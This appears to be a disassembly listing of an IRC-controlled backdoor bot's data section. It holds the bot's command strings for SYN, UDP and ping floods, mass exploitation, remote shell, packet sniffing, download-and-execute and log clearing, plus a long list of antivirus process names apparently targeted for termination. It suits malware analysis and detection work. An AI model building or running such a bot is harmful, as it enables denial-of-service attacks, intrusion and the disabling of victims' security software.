dword_433510	dd 736F6464h, 7063742Eh, 6F6F6C66h, 64hdword_433520	dd 6770h	dword_433524	dd 736F6464h, 6E69702Eh, 6667hdword_433530	dd 736F6464h, 6E69702Eh, 6F6C6667h, 646Fhdword_433540	dd 7570h	dword_433544	dd 736F6464h, 7064752Eh, 66hdword_433550	dd 736F6464h, 7064752Eh, 6F6F6C66h, 64hdword_433560	dd 6E6C7576h, 6174732Eh, 7472hdword_43356C	dd 6E6F6C63h, 63612E65h, 0dword_433578	dd 6E6F6C63h, 63612E65h, 6E6F6974h, 0dword_433588	dd 6E6F6C63h, 6D702E65h, 0dword_433594	dd 6E6F6C63h, 72702E65h, 736D7669h, 67hdword_4335A4	dd 2E7A6E65h, 7370hdword_4335AC	dd 2E7A6E65h, 74726F70h, 6E616373h, 0dword_4335BC	dd 76726573h, 722E7265h, 6E6F2E64h, 0aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CC09+2286o
		align 10h
aD1		db 'd1',0               ; DATA XREF: sub_40CC09+226Fo
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CC09+2258o
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CC09+2241o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CC09+222Ao
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CC09+2213o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CC09+21FCo
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CC09+21E5o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CC09+21CEo
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CC09+21B7o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CC09+218Eo
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CC09+2177o
		align 10h
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CC09+2160o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CC09+2149o
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CC09+2132o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CC09+211Bo
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CC09+2104o
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CC09+20EDo
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CC09+20D6o
		align 10h
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CC09+20BFo
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CC09+20A8o
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CC09+2091o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CC09+207Ao
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CC09+2063o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CC09+204Co
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CC09+2035o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CC09+201Eo
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CC09+2007o
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CC09+1FF0o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CC09+1FD9o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CC09+1FC2o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CC09+1FABo
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CC09+1F94o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CC09+1F7Do
		align 10h
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CC09+1F66o
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CC09+1F4Fo
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CC09+1F38o
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CC09+1F21o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CC09+1F0Ao
		align 10h
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CC09+1EF3o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CC09+1EDCo
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CC09+1EC5o
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CC09+1E9Co
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CC09+1E85o
a_e_1_0bNet_m_7	db '.e.(1.0b) ( net.m.d.l ) .»».  Command unknown.',0
					; DATA XREF: sub_40CC09:loc_40EA81o
		align 4
a_e_1_0bNet_m_6	db '.e.(1.0b) ( net.m.d.l ) .»».  No message specified.',0
					; DATA XREF: sub_40CC09:loc_40EA77o
a_e_1_0bNet_m_5	db '.e.(1.0b) ( net.m.d.l ) .»».  User list failed.',0
					; DATA XREF: sub_40CC09:loc_40EA29o
a_e_1_0bNet_m_4	db '.e.(1.0b) ( net.m.d.l ) .»».  User list completed.',0
					; DATA XREF: sub_40CC09+1E16o
		align 10h
aUser		db 'user',0             ; DATA XREF: sub_40CC09+1D89o
		align 4
a_e_1_0bNet_m_3	db '.e.(1.0b) ( net.m.d.l ) .»».  Share list failed.',0
					; DATA XREF: sub_40CC09:loc_40E987o
		align 4
a_e_1_0bNet_m_2	db '.e.(1.0b) ( net.m.d.l ) .»».  Share list completed.',0
					; DATA XREF: sub_40CC09+1D74o
aShare		db 'share',0            ; DATA XREF: sub_40CC09+1D0Co
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CC09+1CF1o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40CC09+1CBEo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CC09+1CA6o
		align 10h
a_e_1_0bNet_m_1	db '.e.(1.0b) ( net.m.d.l ) .»».  Service list failed.',0
					; DATA XREF: sub_40CC09:loc_40E8A4o
		align 4
a_e_1_0bNet_m_0	db '.e.(1.0b) ( net.m.d.l ) .»».  Service list completed.',0
					; DATA XREF: sub_40CC09+1C91o
		align 4
a_e_1_0bNet_m_d	db '.e.(1.0b) ( net.m.d.l ) .»».  Failed to load advapi32.dll or neta'
					; DATA XREF: sub_40CC09+1C0Do
		db 'pi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CC09+1BE9o
a_e_1_0bSniff_3	db '.e.(1.0b) ( sniff.m.d.l ) .»».  No Carnivore thread found.',0
					; DATA XREF: sub_40CC09:loc_40E7E5o
		align 4
a_e_1_0bSniff_2	db '.e.(1.0b) ( sniff.m.d.l ) .»».  Carnivore stopped. (%d thread(s) '
					; DATA XREF: sub_40CC09+1BD2o
		db 'stopped.)',0
		align 4
off_433A48	dd offset byte_66666F	; DATA XREF: sub_40CC09+1BAFo
a_e_1_0bSniff_1	db '.e.(1.0b) ( sniff.m.d.l ) .»».  Failed to start sniffer thread, e'
					; DATA XREF: sub_40CC09+1BA4o
		db 'rror: <%d>.',0
		align 4
a_e_1_0bSniff_0	db '.e.(1.0b) ( sniff.m.d.l ) .»».  Carnivore packet sniffer active.',0
					; DATA XREF: sub_40CC09+1B35o
		align 10h
a_e_1_0bSniff_m	db '.e.(1.0b) ( sniff.m.d.l ) .»».  Already running.',0
					; DATA XREF: sub_40CC09+1AD1o
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CC09+1AB1o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CC09+1A9Co
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CC09+1A85o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CC09+1A6Eo
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CC09+1A57o
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CC09+1A40o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CC09+1A12o
					; sub_40CC09+1A29o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CC09+19FBo
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CC09+19E4o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CC09+19CDo
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CC09+19B6o
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CC09+199Fo
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CC09+1988o
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CC09+1971o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CC09+195Ao
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CC09+1943o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CC09+192Co
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CC09+1915o
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CC09+18FEo
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CC09+18E7o
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CC09+18D0o
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CC09+18B9o
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CC09+18A2o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CC09+188Bo
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CC09+1874o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CC09+185Do
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CC09+1846o
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CC09+182Fo
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CC09+1818o
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CC09+1801o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CC09+17EAo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CC09+17D3o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CC09+17BCo
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CC09+17A5o
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CC09+178Eo
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CC09+1777o
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CC09+1760o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CC09+1749o
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CC09+1732o
		align 10h
aVall		db 'vall',0             ; DATA XREF: sub_40CC09+170Co
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CC09+16F7o
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CC09+16E2o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CC09+16CDo
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CC09+16B8o
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CC09+16A3o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CC09+168Eo
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CC09+1679o
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CC09+1664o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CC09+164Fo
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CC09+163Ao
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CC09+1625o
		align 10h
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CC09+1610o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CC09+15FBo
a_e_1_0bEnz_m_6	db '.e.(1.0b) ( enz.m.d.l ) .»».  Login list complete.',0
					; DATA XREF: sub_40CC09+15EAo
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CC09+15B6o
					; sub_41337B+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CC09+15A9o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CC09+1587o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CC09+156Eo
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CC09+1563o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CC09+155Eo
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CC09+1545o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CC09+1530o
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CC09+151Bo
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CC09+1506o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CC09+14F1o
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CC09+14DCo
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CC09+14C7o
		align 10h
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CC09+14B2o
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CC09+149Do
		align 4
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CC09+1488o
		align 4
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CC09+1473o
		align 4
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CC09+145Eo
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CC09+1449o
		align 4
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CC09+1434o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CC09+141Fo
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CC09+140Ao
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CC09+13F5o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CC09+13E0o
		align 10h
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CC09+13CBo
		align 10h
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CC09+13B6o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CC09+13A1o
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CC09+138Co
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CC09+1377o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CC09+1362o
		align 10h
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CC09+134Do
		align 10h
a_e_1_0bEnz_m_5	db '.e.(1.0b) ( enz.m.d.l ) .»».  Failed to reboot system.',0
					; DATA XREF: sub_40CC09+1319o
		align 4
a_e_1_0bEnz_m_4	db '.e.(1.0b) ( enz.m.d.l ) .»».  Rebooting system.',0
					; DATA XREF: sub_40CC09+1312o
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CC09+12FBo
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CC09+12E6o
		align 4
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CC09+12D1o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CC09+12BCo
		align 4
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CC09+12A7o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CC09+1292o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CC09+127Do
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CC09+1268o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CC09+1253o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CC09+123Eo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CC09+1229o
		align 4
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CC09+1214o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CC09+11FFo
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CC09+11F4o
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40CC09+11EFo
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CC09+11D6o
		align 4
a_s_ecur_e___	db '.s.ecur.e...',0     ; DATA XREF: sub_40CC09+11CBo
		align 4
aSecure		db 'Secure',0           ; DATA XREF: sub_40CC09+11C6o
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CC09+11ADo
		align 4
a_c_lone_s___	db '.c.lone.s...',0     ; DATA XREF: sub_40CC09+11A2o
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_40CC09+119Do
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CC09+1184o
		align 10h
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CC09+116Fo
		align 4
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CC09+115Ao
		align 4
a_t_ftp_d___	db '.t.ftp.d...',0      ; DATA XREF: sub_40CC09+114Fo
aServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CC09+1131o
a_p_in_g___	db '.p.in.g...',0       ; DATA XREF: sub_40CC09+1126o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_40CC09+1121o
		align 10h
aDdos_ping_off	db 'ddos.ping.off',0    ; DATA XREF: sub_40CC09+1108o
		align 10h
a_u_d_p___	db '.u.d.p...',0        ; DATA XREF: sub_40CC09+10FDo
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_40CC09+10F8o
		align 4
aDdos_udp_off	db 'ddos.udp.off',0     ; DATA XREF: sub_40CC09+10DFo
		align 4
a_s_y_n___	db '.s.y.n...',0        ; DATA XREF: sub_40CC09+10D4o
		align 4
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_40CC09+10CFo
		align 10h
aDdos_syn_off	db 'ddos.syn.off',0     ; DATA XREF: sub_40CC09+10B6o
		align 10h
a_d_do_s___	db '.d.do.s...',0       ; DATA XREF: sub_40CC09+10ABo
		align 4
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_40CC09+10A6o
		align 4
aDdos_off	db 'ddos.off',0         ; DATA XREF: sub_40CC09+108Do
		align 4
a_r_edirec_t___	db '.r.edirec.t...',0   ; DATA XREF: sub_40CC09+1082o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_40CC09+107Do
		align 4
aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CC09+1064o
a_l_o_g___	db '.l.o.g...',0        ; DATA XREF: sub_40CC09+1059o
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_40CC09+1054o
		align 10h
aLog_off	db 'log.off',0          ; DATA XREF: sub_40CC09+103Bo
a_h_ttp_d___	db '.h.ttp.d...',0      ; DATA XREF: sub_40CC09+1033o
aServer_web_off	db 'server.web.off',0   ; DATA XREF: sub_40CC09+1015o
		align 4
a_r_login_d___	db '.r.login.d...',0    ; DATA XREF: sub_40CC09+100Do
		align 4
aServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CC09+FEFo
		align 4
a_s_ocks_4___	db '.s.ocks.4...',0     ; DATA XREF: sub_40CC09+FCDo
		align 4
aServer		db 'Server',0           ; DATA XREF: sub_40CC09+FC8o
					; sub_40CC09+1008o ...
		align 10h
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CC09+FAFo
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CC09+F9Ao
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CC09+F85o
		align 4
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CC09+F70o
		align 10h
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CC09+F5Bo
		align 4
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CC09+F46o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CC09+F31o
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CC09+F1Co
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CC09+F04o
a63		db '63',0               ; DATA XREF: sub_40CC09+DDDo
		align 4
asc_434258:				; DATA XREF: sub_40CC09+DB5o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CC09+D78o
		align 4
aServer_2	db '$server',0          ; DATA XREF: sub_40CC09+D6Do
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CC09+D5Co
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40CC09+D40o
		align 10h
aUser_2		db '$user',0            ; DATA XREF: sub_40CC09+D2Fo
		align 4
off_434288	dd offset dword_656D24	; DATA XREF: sub_40CC09+D1Do
off_43428C	dd offset dword_642524	; DATA XREF: sub_40CC09+CAFo
dword_434290	dd 2D642524h, 0	dword_434298	dd 6968h	aNewshit	db 'newshit',0          ; DATA XREF: sub_40CC09+B04o
a_e_1_0bDcc_m_5	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Chat failed by unauthorized user: %'
					; DATA XREF: sub_40CC09+AD2o
		db 's.',0
a_e_1_0bDcc_m_4	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Chat already active with user: %s.',0
					; DATA XREF: sub_40CC09+AC4o
		align 4
a_e_1_0bDcc_m_3	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Failed to start chat thread, error:'
					; DATA XREF: sub_40CC09+AB6o
		db ' <%d>.',0
a_e_1_0bDcc_m_2	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Chat from user: %s.',0
					; DATA XREF: sub_40CC09+A47o
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40CC09+9B0o
		align 10h
a_e_1_0bDcc_m_1	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Receive file: ',27h,'%s',27h,' failed fro'
					; DATA XREF: sub_40CC09+996o
		db 'm unauthorized user: %s.',0
a_e_1_0bDcc_m_0	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Failed to start transfer thread, er'
					; DATA XREF: sub_40CC09+978o
					; sub_40CC09+427Bo
		db 'ror: <%d>.',0
dword_434450	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CC09+967o
		dd 0A0Dh
dword_434468	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CC09+8EDo
		align 4
dword_43448C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CC09+8D3o
		dd 0D017325h, 0Ah
dword_4344A8	dd 52455601h, 4E4F4953h, 1a_e_1_0bDcc_m_d	db '.e.(1.0b) ( dcc.m.d.l ) .»».  Receive file: ',27h,'%s',27h,' from user:'
					; DATA XREF: sub_40CC09+788o
		db ' %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CC09+6E5o
		align 4
dword_4344FC	dd 43434401h, 0	dword_434504	dd 323333h						; sub_40CC09+B3Eo ...
a_e_1_0bEnz_m_3	db '.e.(1.0b) ( enz.m.d.l ) .»».  User: %s logged out.',0
					; DATA XREF: sub_40CC09+5CFo
		align 4
a_e_1_0bEnz_m_2	db '.e.(1.0b) ( enz.m.d.l ) .»».  Joined channel: %s.',0
					; DATA XREF: sub_40CC09+5A8o
		align 10h
a353		db '353',0              ; DATA XREF: sub_40CC09+571o
aPart		db 'PART',0             ; DATA XREF: sub_40CC09+523o
					; sub_40CC09+5ECo
		align 4
aSS_2		db ':%s%s',0            ; DATA XREF: sub_40CC09+4FBo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40CC09+3CDo
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+36Eo
					; sub_40CC09+610o
a_e_1_0bEnz_m_1	db '.e.(1.0b) ( enz.m.d.l ) .»».  User %s logged out.',0
					; DATA XREF: sub_40CC09+355o
					; sub_40CC09+548Do ...
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_40CC09+2E4o
		align 4
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+28Do
					; sub_40CC09+4650o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40CC09+265o
a302		db '302',0              ; DATA XREF: sub_40CC09+22Ao
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CC09+1E4o
					; sub_40CC09+3B4o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40CC09+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40CC09+1A9o
		align 10h
asc_434610	db ' :',0               ; DATA XREF: sub_40CC09+86o
					; sub_40CC09:loc_40D79Fo
		align 4
dword_434614	dd 7530h	off_434618	dd offset aAckwin32_exe	; DATA XREF: sub_4123B8+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
